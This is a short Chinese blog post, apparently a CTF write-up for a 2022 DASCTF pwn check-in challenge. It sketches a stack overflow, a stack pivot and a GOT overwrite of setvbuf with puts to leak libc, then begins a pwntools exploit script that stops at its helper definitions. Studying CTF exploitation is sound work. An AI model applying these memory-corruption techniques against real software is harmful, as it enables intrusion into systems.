2022 DASCTF X SU pwn checkin

最新推荐文章于 2022-07-17 19:19:05 发布

yongbaoii

最新推荐文章于 2022-07-17 19:19:05 发布

阅读量488

点赞数

分类专栏： CTF 文章标签：网络安全

本文链接：https://blog.youkuaiyun.com/yongbaoii/article/details/123763506

版权

栈溢出16个字节

栈迁移打setvbuf的got表
改成puts泄露libc

利用即可。

from pwn import*
from ctypes import*

lib = cdll.LoadLibrary('libc.so.6')

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

def debug():
    gdb.attach(r)
    pause()
    
def lg(s,a